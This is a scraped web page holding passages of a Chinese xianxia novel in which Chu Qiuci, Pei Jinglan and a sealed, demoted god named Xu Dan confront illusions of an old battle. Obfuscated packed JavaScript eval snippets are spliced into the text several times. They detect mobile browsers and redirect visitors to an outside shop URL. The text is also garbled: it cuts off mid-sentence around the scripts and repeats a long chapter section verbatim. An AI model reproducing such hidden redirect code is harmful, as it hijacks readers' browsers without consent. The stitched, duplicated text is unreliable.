;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971494|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声喊道。 “这儿呢。”楚秋辞懒洋洋地应了一声。 话音刚落,一支长枪突然从他背后袭来,径直穿透了他的身体,变故实在太快,楚秋辞只来得及听到裴惊澜的大喊:“阿朝!” 楚秋辞看着瞬间炸毛的裴惊澜,又伸手去捞身边打得酣畅淋漓的小兵,却摸了个空。 他安抚道:“瞧见没,碰不着。” 裴惊澜的神色这才缓了缓,他没再说什么,只转身看着周围的景象,陌生中却又透着一股熟悉。 “当年的古洛城长这样?”他喃喃道。 “不知道,”楚秋辞走到裴惊澜身边,对裴惊澜又默不作声往旁边避开两步的行为装作没看见,他耸耸肩,“反正天骁关不长这样。” 这里杀声震天,血腥味浓郁,周围别说毒虫,就连一根草都没有。不远处是城门,城门上的士兵往下放着弓箭,遥遥看去,城墙比后来天骁关的城墙矮上了一大截,也比天骁关的城墙要新上很多。 种种迹象都在说,这里是古洛,而非天骁关。 裴惊澜往前走了几步,穿过几个小兵的身体,问:“离玟羽呢?” “这么在乎他?”楚秋辞瞥了他一眼,“我比他先来一步,来的时候刚好碰到你一个人在原地乱转,跟魇住了一样。” “诶,裴野,你刚才被鬼上身了?” “没有。”裴惊澜沉默两秒才说,“有东西混进了玉观派的人里。” 楚秋辞追问:“你看见它了?” 裴惊澜点头:“不像活人。” 说话间,他们走到了城门口。 上方传来一声呼喊:“师父,前辈,这门过不了,飞上来。” 楚秋辞往前走了几步,伸手去探,当真摸到了实体。 他头也不回地对裴惊澜说:“走吧。” 谁料跟在他身边的裴惊澜的目光却并未落到他脸上,而是紧紧盯着他身后。 楚秋辞心里有了猜测,转身果然看见了一众修士。 方乾脸色难看得像朵皱巴巴的蘑菇,他看见这两个凡人就来气,谁知道是不是因为凡人误入才让他们这次行动这么倒霉的。 “喂,”方乾喝斥一声,“你们两个滚过来。” 不巧的是,楚秋辞这会心情也不怎么美丽,他挑眉道:“哦?” “仙长大人是找到离开的方法了?” 方乾脸上顿时青紫交加,脸更臭了。 他腰间佩剑嗡鸣作响,几步上前,眯着眼睛对楚秋辞道:“你命挺大,就是不知道……” 下一瞬,方乾的视线被挡住了。 裴惊澜一动不动地看着他,轻声说:“家弟年幼不知事,仙长莫要同他计较。” 身后,楚秋辞闻言,嘴角上扬,眼睛却没什么温度,他好像找到裴惊澜突然犯病地症结了—— 还把他当弟弟呢。 19. 顾安 远在栖山城,时至今日不知是否已经苏醒的烟姝竟然也和这件事有牵连。 裴惊澜听到这句话后不动声色地看向楚秋辞。 楚秋辞面上的神情始终不变,他淡定地拍了拍离玟羽的肩膀,让离玟羽先别吱声。 顾安听了朱瓴的话,并未对这件事发表任何看法,反倒是起身扶起跪在最前面的李将军,说:“将军们想来也是着急为主公开疆拓土,虽说确实过于冒进,但到底还是有一份赤忱的心在。” “诸位都请起来吧。” 副将们连忙站起,直说顾安的好话。 就连朱瓴对于顾安这样僭越的行为都不表态,反倒一脸好脾气地等在旁边,丝毫没有一国之君高高在上的姿态。 “是他!” 方乾像是想起什么一样突然惊呼出声,他蹙起眉,捏紧了剑,忍不住啐了一口:“怪不得。” 楚秋辞立刻微笑询问:“仙长大人可是认识他?” “不认识。”方乾脸色非常难看,想也不想地否认。 那厢顾安还在继续说:“此番前来,吾还有一事。” “明日或有大雨惊雷,我有一小计,各位将军可否赏脸听上一听?” “先生请讲!” 副将们顿时眼睛一亮围了上去,朱瓴也踱步到顾安身后,仔细听他说来。 “原来他就是虞军的军师,朱瓴打天下的脑子。” 楚秋辞说着,往前走了几步,看还没能听清顾安说的话,下一瞬整个空间再次破碎。 这一次,那些倒塌的烛油点燃了帐篷。 烛火憧憧间,那些将军的身影裂成碎片。 在一片混乱中,楚秋辞头顶落下一块被火烧着的布,他抬头看了一眼,没有躲闪,余光中那个军师嘴里还在和周围的人说他的计谋,但眼睛似乎往他这里瞟了一眼。 掉落的火光晃了楚秋辞的眼,他难受地闭了闭,再睁眼时顾安已经随着其他景象一起灰飞烟灭了。 错觉吗,楚秋辞想。 “楚朝。” 熟悉的声音在唤他。 楚秋辞转过身,看见裴惊澜身后烈火熊熊,他的发丝被细风鼓动着,那双眼睛是一如既往的平和柔软,直直盯着楚秋辞,好像满心满眼都只有他。 一如很久之前,每一次楚秋辞撒娇耍赖时裴惊澜看他的眼神,也像八十多年前裴惊澜死前的温柔。 那一瞬楚秋辞僵住了,连腿也迈不开,心跳声震耳欲聋,从头到脚却蔓延起一种恐惧。 “裴野,可以过来吗?” 楚秋辞望着他,张开双臂。 裴惊澜走过来了,但是没有拥抱他,甚至没有和楚秋辞有任何肢体上的接触。 “走吧。”他错过他的身,说。 火光朦胧,身边人触不可及,声音也格外遥远,好像一戳就破的泡沫。 楚秋辞后退几步,不敢再往裴惊澜那里看。 这一次场景的转换格外漫长。 久到楚秋辞的心再次平静下来,开始思考裴惊澜到底是碰见了什么,怎么又变成了个壳比刀硬的缩头王八样。 他站在离裴惊澜不近不远的地方,目光沉沉,手里转着裴惊澜不知什么时候又放回他身上的入雪。 楚秋辞生的坦荡,自认不曾做过任何愧于天地的事,也从不屑于委曲求全,再加上从小有胜似亲兄的裴惊澜宠着,养成了个无法无天的混蛋性子,他喜欢的便是粉身碎骨也一定会得到,他厌恶的就是到死也不会轻易原谅。 若非因修行有大道戒律加身,楚秋辞怕早就成了个身名狼藉的纨绔。 这还是他第一次对一个人毫无办法,拿不起放不下。 楚秋辞在心里暗自唾弃自己,也不知是什么时候养成了个瞻前顾后的性子。 整个兵营被烈火烧尽,而后灰烬随风飞逝,所有可见的东西全部消失了。 他们站在了白茫茫的虚无中。 方乾本就闲不住,这会更加焦躁,他尝试在这里施展传送阵法,但根本没办法和外界联系上,他的任何攻击对这里都无效,方乾原地转了几圈,犹如困兽。 趁着没人注意,离玟羽凑到楚秋辞身边开始说刚才没说完的话。 “师父,我见过那个人的画像。” 离玟羽说,有一次他曾经到烟姝家里去吃饭,不是红楼,是烟姝自己偷偷在外面买的宅子。 那个宅子很小,位置偏僻,却花了烟姝在红楼五年的工钱,原本她长得漂亮,从不愁钱,月月的银子都拿去买胭脂水粉,买上好的绸缎来打扮自己,是栖山城里数一数二的美人,但后来她容貌被毁,不受人待见,她才开始为自己后半生打算,攒钱很久买下了那座宅子。 那天是中秋,离玟羽上门吃饭,本只是想着他和烟姝都无亲无故,凑到一起也算是吃个团圆饭,谁知烟姝一直在灌他酒,看他喝得迷迷瞪瞪的了,烟姝就开始把他往内屋引,不停地往他身上凑,话越来越放肆,说着还把他往床上推,开始解他的衣衫。 离玟羽自是不肯,以为只是姐姐醉了酒没认清人,便一直说自己是“阿羽”。他反抗的时候还要注意不能把姐姐伤到,费了九牛二虎之力才将烟姝扶到床上,准备离开。 谁知烟姝却突然落下泪来,颓坐在床上说是不是他也不想要她,也嫌弃她。 离玟羽慌了神,连忙说她永远是自己的姐姐。 可烟姝却突然说:“阿羽,我不信这种空头话,你娶了我好不好?” “你娶了我,我们就是永远的夫妻,永远不会分离。” 离玟羽惊得忘了说话。 烟姝站起来,跌跌撞撞往他这儿走,中途不小心撞到了柜子,柜子上方的一张卷轴滚落下来,其上绘着一幅神像。 那天离玟羽落荒而逃,却意外对那幅画的记忆深刻。 楚秋辞一下子想起离玟羽之前提到傩面鬼时说过的话,厉声问:“那个告诉你傩面鬼弱点的人到底是谁?” 离玟羽低着头,身上抖了抖,没吭声。 但是他现在的样子已经出卖了他。 楚秋辞气得无语,抱手转开视线。 这孩子看起来挺聪明,但其实被人卖了还在给人数钱。 他现在彻底确定那个“顾先生”的身份了。 人间共有七个州,每个州在凡间由一个国家治理,而每个州也都有自己主要供奉的神仙,也就是主要负责这个州的天晴雨雪灾祸福瑞等的神仙。一般是每州一个仙官四名仙使,以及其下众多仙吏仙童。 也就是说,能被叫作“仙官”的神仙一定是大神仙,一定有着众多信徒,绝对不可能出现一个城找不到一个神庙的情况——除非这个神仙早就被除名了。 怪不得之前他没见过这个神仙,楚秋辞没好气地想,他原本还以为是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977464|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己这百年不管人间事,天上神仙换了一轮呢。 感情是个获罪被贬去典狱的罪神。 裴惊澜叹了口气,点出离玟羽始终不肯直面的真相:“你的小姝姐姐既然知道傩面鬼,怎么可能还被他轻易骗去呢。” “不……不是的。” 离玟羽咬牙反驳,可他想不出一个反驳的理由。 “私供邪神,引鬼上身,骗你这么一个乳臭未干的小屁孩来天晓关——” 楚秋辞冷冷地说:“我现在可不觉得她是会说出‘让你娶她’这种鬼话的人了。” 可猝然出现的巨大喊杀声淹没了楚秋辞后半段话。 “杀——” 所有人被这声音一震,纷纷回头。 这次的场景终于出现在了他们眼前,依旧是一处战场。 但这次他们没有出现在战场中央,而是在一个视角极好的荒山上。 山脚下两支军队混战得难舍难分,天空阴云密布,空气潮湿得能拧出水来。 虞军鲜艳的红色旗帜在这样灰蒙蒙的视野中格外耀眼,尽管前不久他们刚经历了一场败仗,但士兵们的信念依旧强大,他们喊着“虞军必胜”,前仆后继地与比他们兵力多出两倍的敌军对战。 楚秋辞凝视片刻,听见一声沉闷的雷声从云层深处传来。 他忽然想起来顾安那句“明日或有大雨惊雷”,攥紧了手,有了点不安的预感。 果然,他刚冒出这个念头,一滴豆大的雨点打在他的鼻尖上,紧接着倾盆大雨骤然落下。 楚秋辞已经摸清了能在这个幻境中碰到的东西的规律:但凡是存在于过去的,他们一概碰不到,但自然规律除外,比如风雨惊雷;而还有一种他们能摸到的,便是一直存在于这个空间的,比如古洛的城墙。 他迅速用灵力凝成结界,替他和裴惊澜挡住了大雨。 而失魂落魄的离玟羽反应不及时,已经被突如其来的雨淋湿了半边身子。 玉观派的众人也及时地撑开了结界,都没淋到什么雨。 突然,楚秋辞余光里滚过一坨棕褐色的东西,身后传来一阵剧烈的马蹄声响,他当即意识到不对,一左一右拽着裴惊澜和离玟玉就跑。 他刚往身后撤了两步,他们原本站的地方轰然坍塌,与此同时更高处的碎石开始往下滚落,山体发出轰鸣的巨响,大雨冲刷着掉落的石块,泥土混杂着雨水往山下席卷而去。 山下的虞军见此纷纷开始撤退,而另一处有零星几棵树的山头上突然出现一支数百人的军队,他们举起弓箭往山下射去。 古洛周围群山环绕,山上本遍布树林,但近些年铁骑踏过群山,战乱让这里寸草不生,因此一下雨往往就伴随着大量的土块掉落,顾安正是利用了这一点,提前让人来把此处的土地挖松,在大雨落下之时人为制作土块滑落,再让雨水带着泥土,在低洼的地方围攻闵军。 借天时地利来打,看起来是个有脑子的狠人。 楚秋辞带着裴惊澜站好,回头去看下面已经乱作一团的闵军,眯着眼不知想些什么。 以权谋私,假济天时为人谋,真是当的一个好神仙。 他甩出入雪,擦着天上的阴云飞过,速度快得只能看出一道残影,飞过的地方还留下了淡蓝的尾影,直奔远处枯树而去。 “藏着算什么本事,故意把我们找来,不说说你想要什么?” 19. 顾安 远在栖山城,时至今日不知是否已经苏醒的烟姝竟然也和这件事有牵连。 裴惊澜听到这句话后不动声色地看向楚秋辞。 楚秋辞面上的神情始终不变,他淡定地拍了拍离玟羽的肩膀,让离玟羽先别吱声。 顾安听了朱瓴的话,并未对这件事发表任何看法,反倒是起身扶起跪在最前面的李将军,说:“将军们想来也是着急为主公开疆拓土,虽说确实过于冒进,但到底还是有一份赤忱的心在。” “诸位都请起来吧。” 副将们连忙站起,直说顾安的好话。 就连朱瓴对于顾安这样僭越的行为都不表态,反倒一脸好脾气地等在旁边,丝毫没有一国之君高高在上的姿态。 “是他!” 方乾像是想起什么一样突然惊呼出声,他蹙起眉,捏紧了剑,忍不住啐了一口:“怪不得。” 楚秋辞立刻微笑询问:“仙长大人可是认识他?” “不认识。”方乾脸色非常难看,想也不想地否认。 那厢顾安还在继续说:“此番前来,吾还有一事。” “明日或有大雨惊雷,我有一小计,各位将军可否赏脸听上一听?” “先生请讲!” 副将们顿时眼睛一亮围了上去,朱瓴也踱步到顾安身后,仔细听他说来。 “原来他就是虞军的军师,朱瓴打天下的脑子。” 楚秋辞说着,往前走了几步,看还没能听清顾安说的话,下一瞬整个空间再次破碎。 这一次,那些倒塌的烛油点燃了帐篷。 烛火憧憧间,那些将军的身影裂成碎片。 在一片混乱中,楚秋辞头顶落下一块被火烧着的布,他抬头看了一眼,没有躲闪,余光中那个军师嘴里还在和周围的人说他的计谋,但眼睛似乎往他这里瞟了一眼。 掉落的火光晃了楚秋辞的眼,他难受地闭了闭,再睁眼时顾安已经随着其他景象一起灰飞烟灭了。 错觉吗,楚秋辞想。 “楚朝。” 熟悉的声音在唤他。 楚秋辞转过身,看见裴惊澜身后烈火熊熊,他的发丝被细风鼓动着,那双眼睛是一如既往的平和柔软,直直盯着楚秋辞,好像满心满眼都只有他。 一如很久之前,每一次楚秋辞撒娇耍赖时裴惊澜看他的眼神,也像八十多年前裴惊澜死前的温柔。 那一瞬楚秋辞僵住了,连腿也迈不开,心跳声震耳欲聋,从头到脚却蔓延起一种恐惧。 “裴野,可以过来吗?” 楚秋辞望着他,张开双臂。 裴惊澜走过来了,但是没有拥抱他,甚至没有和楚秋辞有任何肢体上的接触。 “走吧。”他错过他的身,说。 火光朦胧,身边人触不可及,声音也格外遥远,好像一戳就破的泡沫。 楚秋辞后退几步,不敢再往裴惊澜那里看。 这一次场景的转换格外漫长。 久到楚秋辞的心再次平静下来,开始思考裴惊澜到底是碰见了什么,怎么又变成了个壳比刀硬的缩头王八样。 他站在离裴惊澜不近不远的地方,目光沉沉,手里转着裴惊澜不知什么时候又放回他身上的入雪。 楚秋辞生的坦荡,自认不曾做过任何愧于天地的事,也从不屑于委曲求全,再加上从小有胜似亲兄的裴惊澜宠着,养成了个无法无天的混蛋性子,他喜欢的便是粉身碎骨也一定会得到,他厌恶的就是到死也不会轻易原谅。 若非因修行有大道戒律加身,楚秋辞怕早就成了个身名狼藉的纨绔。 这还是他第一次对一个人毫无办法,拿不起放不下。 楚秋辞在心里暗自唾弃自己,也不知是什么时候养成了个瞻前顾后的性子。 整个兵营被烈火烧尽,而后灰烬随风飞逝,所有可见的东西全部消失了。 他们站在了白茫茫的虚无中。 方乾本就闲不住,这会更加焦躁,他尝试在这里施展传送阵法,但根本没办法和外界联系上,他的任何攻击对这里都无效,方乾原地转了几圈,犹如困兽。 趁着没人注意,离玟羽凑到楚秋辞身边开始说刚才没说完的话。 “师父,我见过那个人的画像。” 离玟羽说,有一次他曾经到烟姝家里去吃饭,不是红楼,是烟姝自己偷偷在外面买的宅子。 那个宅子很小,位置偏僻,却花了烟姝在红楼五年的工钱,原本她长得漂亮,从不愁钱,月月的银子都拿去买胭脂水粉,买上好的绸缎来打扮自己,是栖山城里数一数二的美人,但后来她容貌被毁,不受人待见,她才开始为自己后半生打算,攒钱很久买下了那座宅子。 那天是中秋,离玟羽上门吃饭,本只是想着他和烟姝都无亲无故,凑到一起也算是吃个团圆饭,谁知烟姝一直在灌他酒,看他喝得迷迷瞪瞪的了,烟姝就开始把他往内屋引,不停地往他身上凑,话越来越放肆,说着还把他往床上推,开始解他的衣衫。 离玟羽自是不肯,以为只是姐姐醉了酒没认清人,便一直说自己是“阿羽”。他反抗的时候还要注意不能把姐姐伤到,费了九牛二虎之力才将烟姝扶到床上,准备离开。 谁知烟姝却突然落下泪来,颓坐在床上说是不是他也不想要她,也嫌弃她。 离玟羽慌了神,连忙说她永远是自己的姐姐。 可烟姝却突然说:“阿羽,我不信这种空头话,你娶了我好不好?” “你娶了我,我们就是永远的夫妻,永远不会分离。” 离玟羽惊得忘了说话。 烟姝站起来,跌跌撞撞往他这儿走,中途不小心撞到了柜子,柜子上方的一张卷轴滚落下来,其上绘着一幅神像。 那天离玟羽落荒而逃,却意外对那幅画的记忆深刻。 楚秋辞一下子想起离玟羽之前提到傩面鬼时说过的话,厉声问:“那个告诉你傩面鬼弱点的人到底是谁?” 离玟羽低着头,身上抖了抖,没吭声。 但是他现在的样子已经出卖了他。 楚秋辞气得无语,抱手转开视线。 这孩子看起来挺聪明,但其实被人卖了还在给人数钱。 他现在彻底确定那个“顾先生”的身份了。 人间共有七个州,每个州在凡间由一个国家治理,而每个州也都有自己主要供奉的神仙,也就是主要负责这个州的天晴雨雪灾祸福瑞等的神仙。一般是每州一个仙官四名仙使,以及其下众多仙吏仙童。 也就是说,能被叫作“仙官”的神仙一定是大神仙,一定有着众多信徒,绝对不可能出现一个城找不到一个神庙的情况——除非这个神仙早就被除名了。 怪不得之前他没见过这个神仙,楚秋辞没好气地想,他原本还以为是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977464|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己这百年不管人间事,天上神仙换了一轮呢。 感情是个获罪被贬去典狱的罪神。 裴惊澜叹了口气,点出离玟羽始终不肯直面的真相:“你的小姝姐姐既然知道傩面鬼,怎么可能还被他轻易骗去呢。” “不……不是的。” 离玟羽咬牙反驳,可他想不出一个反驳的理由。 “私供邪神,引鬼上身,骗你这么一个乳臭未干的小屁孩来天晓关——” 楚秋辞冷冷地说:“我现在可不觉得她是会说出‘让你娶她’这种鬼话的人了。” 可猝然出现的巨大喊杀声淹没了楚秋辞后半段话。 “杀——” 所有人被这声音一震,纷纷回头。 这次的场景终于出现在了他们眼前,依旧是一处战场。 但这次他们没有出现在战场中央,而是在一个视角极好的荒山上。 山脚下两支军队混战得难舍难分,天空阴云密布,空气潮湿得能拧出水来。 虞军鲜艳的红色旗帜在这样灰蒙蒙的视野中格外耀眼,尽管前不久他们刚经历了一场败仗,但士兵们的信念依旧强大,他们喊着“虞军必胜”,前仆后继地与比他们兵力多出两倍的敌军对战。 楚秋辞凝视片刻,听见一声沉闷的雷声从云层深处传来。 他忽然想起来顾安那句“明日或有大雨惊雷”,攥紧了手,有了点不安的预感。 果然,他刚冒出这个念头,一滴豆大的雨点打在他的鼻尖上,紧接着倾盆大雨骤然落下。 楚秋辞已经摸清了能在这个幻境中碰到的东西的规律:但凡是存在于过去的,他们一概碰不到,但自然规律除外,比如风雨惊雷;而还有一种他们能摸到的,便是一直存在于这个空间的,比如古洛的城墙。 他迅速用灵力凝成结界,替他和裴惊澜挡住了大雨。 而失魂落魄的离玟羽反应不及时,已经被突如其来的雨淋湿了半边身子。 玉观派的众人也及时地撑开了结界,都没淋到什么雨。 突然,楚秋辞余光里滚过一坨棕褐色的东西,身后传来一阵剧烈的马蹄声响,他当即意识到不对,一左一右拽着裴惊澜和离玟玉就跑。 他刚往身后撤了两步,他们原本站的地方轰然坍塌,与此同时更高处的碎石开始往下滚落,山体发出轰鸣的巨响,大雨冲刷着掉落的石块,泥土混杂着雨水往山下席卷而去。 山下的虞军见此纷纷开始撤退,而另一处有零星几棵树的山头上突然出现一支数百人的军队,他们举起弓箭往山下射去。 古洛周围群山环绕,山上本遍布树林,但近些年铁骑踏过群山,战乱让这里寸草不生,因此一下雨往往就伴随着大量的土块掉落,顾安正是利用了这一点,提前让人来把此处的土地挖松,在大雨落下之时人为制作土块滑落,再让雨水带着泥土,在低洼的地方围攻闵军。 借天时地利来打,看起来是个有脑子的狠人。 楚秋辞带着裴惊澜站好,回头去看下面已经乱作一团的闵军,眯着眼不知想些什么。 以权谋私,假济天时为人谋,真是当的一个好神仙。 他甩出入雪,擦着天上的阴云飞过,速度快得只能看出一道残影,飞过的地方还留下了淡蓝的尾影,直奔远处枯树而去。 “藏着算什么本事,故意把我们找来,不说说你想要什么?” 20. 人念 “我瞧你有些眼熟,敢问道友姓甚名谁?” 灰袍男人摇着折扇从枯树后缓缓走出,他眼带笑意,侧身避过袭来的入雪,那样貌姿态可不正是方才侃侃而谈的顾先生。 方乾握着身侧的剑,紧皱眉头,往师弟师妹们身前走了走,像一只炸毛的猫。 “那便不巧了,”楚秋辞道,“在你被封印在这地方之时,我大概还没有出生。” 顾安一愣,口中呢喃一句:“外面竟已过去这么久了吗。” 不过他很快调整好状态,重新端出那副风度翩翩的模样:“鄙人真名许澹,曾是掌管崎州的仙官,后来被贬。” “外头的人可能不太清楚,我并未被押去典狱,而是被封印在这里……大概有百年了?”许澹笑笑,自嘲道,“在这里头不见日月,也是让吾成了个不知四季年岁的世外高人。” “三百七十一年。”楚秋辞突然开口,“假如我没推算错的话,古洛战役在天启末年爆发,同年白帝神君弑鬼飞升,将原本的古洛战争旧址封印,到今年刚好三百七十一年。” 裴惊澜听闻此言也是一愣,看向楚秋辞。 许澹释然一笑:“当真这么久了。” “道友可否告诉我现在年号为何?”许澹问。 楚秋辞顿了顿,才道:“新元。” “新元?”许澹怔愣许久,手里的扇子都忘了摇。片刻后,他透出些许怀念的神情,轻声感叹:“倒当真是像他的风格。” 周围人静默不语,既不知道这个莫名其妙的人说的到底是谁,也实在是跟这个和他们年龄差了不知道几百年的人代沟太大,没有在这里悲春伤秋的心思。 电光石火之间,一支剑忽地凭空朝许澹刺来。 “老贼,拿命来!”方乾愤怒地大喊。 许澹并未转头,用折扇轻轻一挡,眉心微蹙:“这位道友,我们并无纠葛吧。” “你都要把我们用来祭阵了,还说什么没纠葛!” “祭阵?”许澹茫然地重复道,“什么祭阵?” 方乾攥着剑柄的指节微微发白,他声音颤抖,心里升起满腔悲愤。 这么多年苦心修炼,他好不容易成了被大家敬仰的三师兄,但在别人手下居然过不了一招,什么人都护不住——凭什么? 凭什么这个已经被封印的邪神要他们大老远来给他大祭? 凭什么这个人到现在还可以装疯卖傻博同情? “你装什么啊你,千辛万苦等这么多年,就是为了等到我们放松警惕给你当破阵的垫脚石吧!”方乾重新抬剑砍来,“作恶多端还等着人给你送补品呢?也不怕撑死,吃什么香火,吃屎去吧!” 灵力暴涨,一瞬间连幻境中的枯叶都惊动了。 枯黄的叶子飘飘扬落下,被方乾使出全力的一击带动,随着剑身飞舞起来。 许澹终于正视了这个年龄尚不及他二分之一的青年,他猛地向后弯腰躲开这一剑,震惊道:“是你?” “抱歉,但我想我们应该有点误会。”许澹开扇挡住这一剑,被灵力狠狠一震,而后折扇霎时裂开,他语速极快,唯恐说得晚了方乾就一剑把他刺死了,“我没有想过要对你们怎么样。” 可方乾已经完全听不进去这些了。 差点被恶鬼吞噬的后怕、刚才被困在这里什么都做不了的无助、对师弟师妹们的愧疚、对自己多年潜心修炼却依然比不上对方轻飘飘的一招的愤慨……千般情绪杂在心头,让他连这些年练过的剑招都全忘了,就凭着本能对许澹出剑。 都说乱拳打死老师傅,许澹多年不曾与人切磋,他的扇子又在接了两招之后彻底粉身碎骨,只能靠着身法硬躲,实在是被这种毫无章法的攻击逼得有些吃力。 “小兄弟,我知道你们千里迢迢来送祭品很麻烦,但真不是我故意让你们进来的。” 许澹双指夹住方乾的剑,又在他出下一招之前收回,实在是无奈。 他下意识地向周围人求助,目光直直落在了楚秋辞身上。 但是还没等他用目光传递出什么信息,一个眼生的男人就挡在了前面,他用随手折来的一根木棍往方乾背后一敲,接着迅速转身接住他的剑招,同时手腕一折,将方乾击退了几步。 他看着方乾,说:“安静听人说话,明白?” 方乾哪里肯听他的,趁着裴惊澜收回目光的间隙,举剑立刻又向着他右胸口袭去,紧接着他就听见自己的手腕错位的声音,他脑子瞬间空白,痛意终于姗姗来迟地提醒着他此时发生的事情。 “我不喜欢重复。” 那个原本看起来最是温和无害的男人此刻格外冷漠,言简意赅道:“滚。” 许澹诧异地偏头对楚秋辞说:“他是你谁啊,这么厉害?” “兄长。”楚秋辞垂下眼,声音不高不低,像是在肯定什么一般重复,“他是我哥哥。” 许澹没多问,仰着头文绉绉地感叹了一句:“时过境迁,也算是病树前头万木春呐①。” 裴惊澜归根结底不是一个骨子里头太宽容的人,他在现世的时候就是出了名的雷厉风行不近人情,到这里来后戴着宽和的面具太久,以至于一时爆发差点没能压抑住本性。 更别说从那个诡异幻境出来之后他心里就一直憋着一股戾气,这会他很难再压抑住自己的脾气,利落地解决完这人后才有些懊悔,只敢趁楚秋辞没注意快速瞟他一眼,没敢再往他身边去。 “你们到底都是谁?” 方乾像是彻底认命了,他捂着手腕颓废地靠在树上,剑随手搁在旁边,连眼神都不再带着初见时的锐利。 裴惊澜垂眸看着他,用只有他们二人能听到的声音说:“你不必弃垒,我认识一个用剑很厉害的人,他以前常拉着我练剑,所以手熟而已。” 方乾的师妹觑着裴惊澜的脸色走上前,小心翼翼地把他扶到一边休息。 许澹走到他跟前,脾气极好地解释:“我呢是个废人,在这儿不见天日地活,但也是万万没有要害人的心思的。” “你们被拉进来真不是我做的,是因为这里的封印出了点差错,有东西要从地下钻出来了。” 许澹说着,还用手比划了一下。 “鬼吗?” 离玟羽声音很小,却被许澹捕捉到了,他这才看到这里还有个始终没吭声、但也算得上是好苗子的少年。 许澹心里感叹道:现在外面当真是人才济济。 “对,也不对。”许澹耐心地回答。 “这里呢,封印着‘人’,但不是你们知道的‘人’,它们没有意识没有生命,但是有着人形,有着人的情/欲。所以应该说这里封印的是人死后留下的‘念’。” “天启年的残害人间的也是‘念’,它们像是剥除了人好的那一部分,留下了人坏的那一部分,是极端状况之下的‘人’,所以也可以说是‘鬼’。” “跟鬼修很像吧,”许澹笑着说,“因为‘鬼修’这个称呼其实就是从‘念’衍生来的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982352|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我当年犯下弥天大错,被封印到这里守着‘念’,但是我没有信徒,没有法力来源,只能依靠每年禁地的大祭勉强维持,可是不知道为什么,近些年我的法力越来越不够用了,而这里的东西也隐约有要冲破封印的样子。” 许澹严肃了些,或许还带着些无力的悲哀,他说:“抱歉,这次把你们牵扯进来确实有我法力不足的原因,我……” “真的要压不住他们了。” 他话音落下,下了许久的大雨突然变得稀疏,山下的杀敌声音逐渐变远,许澹的刚说完的话甚至有了回音。 高山夷为平地,四季飞速轮转,日夜交替。 周遭景象在急速变化着。 与之前不同的是,这一次随着空间的坍塌,有许许多多的黑气从碎裂的地方溢出。 许澹用带着回音的声音说:“这些幻境原本不会这样频繁地变换,像碎片一样。如果我的法力还在鼎盛时期,你们应该能够看到完整的古洛战役,但很可惜。” 许澹接住一片不知从哪儿飘来的白色花瓣,未尽的话中满是落寞。 “首先我得说一句,真不可惜,我对人怎么杀人并不感兴趣。” 楚秋辞晃了晃从离玟羽那儿抢来的折扇,轻笑一声。 “且不说你鼎盛时期还会不会这么安分地待在这里,就说你要真的是法力充沛,我们还能活到现在吗——” “顾先生?” 大雨狂风皆随着空间的坍塌而消失得无影无踪,四季光阴不再,虚无的白色再次笼罩了这里。 “我还真不知道区区一个凡人国君有什么本事能请到神仙为他出谋划策呢。” 楚秋辞的声音层层回荡,方乾猛地抬头看向神色晦暗不明的许澹。 “不过我倒是听说过另一个传言,顾先生不妨猜一猜是什么?” 许澹抬头看他。 楚秋辞丝毫不惧,继续说:“听闻人间七国的国君都是得了天谕的天子,身负真龙之气,有定山河之能,只有真正被认可的君主才能保一个国家不生战乱,风调雨顺。” “这话听着是不是感觉哪里不太对呀?” 楚秋辞看向裴惊澜:“你说呢,裴兄。” “嗯。”裴惊澜无声地叹了口气,接上楚秋辞的话头,他没有那么多的故意使坏的恶趣味,直白地对着许澹说:“你一直在借职位之便给朱瓴当保护伞。” 许澹神色古怪地盯了他们两眼,把“保护伞”一词细细咀嚼了一番,道:“这词儿用得不错,挺恰当。” “说得挺对,人间的君主自然是要得到天道首肯的,否则他们甚至不会出生。择天下之士,使称其职②,只有适合那个位子的人才会被推上那个位置。” 许澹避重就轻地说完,忽然意味不明地笑了起来。 